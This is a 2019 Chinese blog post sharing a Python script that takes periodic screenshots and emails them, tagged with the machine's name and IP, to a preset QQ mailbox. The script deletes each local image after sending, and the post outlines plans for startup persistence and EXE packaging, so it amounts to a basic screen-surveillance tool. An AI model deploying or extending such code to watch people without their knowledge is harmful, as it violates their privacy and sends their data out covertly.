监控电脑屏幕python

#/bin/usr/python3/
#coding:utf-8

from PIL import ImageGrab
import qq_email,os,time
import socket#获取电脑ip等
## send_file('屏幕截图','neirong','1.jpg')

'''
QQ496631085
流程:

    输入 发件QQ邮箱,密码,收件邮箱,(加密,保存配置)
    多少秒发一次屏幕截图,(保存配置)
    写入开机启动
'''
def now_time():
    return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
def ip():
    try:
        #获取本机电脑名
        myname = socket.getfqdn(socket.gethostname())
        #获取本机ip
        myaddr = socket.gethostbyname(myname)
        return '电脑名:'+ myname + ' IP' + myaddr
    except:
        print('获取电脑信息失败')
    
def jietu():
    im = ImageGrab.grab()
    im.save('1.png')#保存图片
    
    try:
        qq_email.send_file('屏幕截图', ip() + now_time()  ,'1.png')#发送邮件
        os.remove('1.png') #删文件
    except:
        print('send_error')
# timing  =  3600    
try:
    timing=int(input('多少秒发送一次屏幕截图'))
except:
    timing=30
while timing:
    jietu()
    time.sleep(timing)

https://blog.csdn.net/sinat_27382047/article/details/81304065         EXE打包地址https://blog.csdn.net/lqzdreamer/article/details/77917493

posted @ 2019-05-17 14:31  xiaohe520  阅读(3156)  评论(0编辑  收藏  举报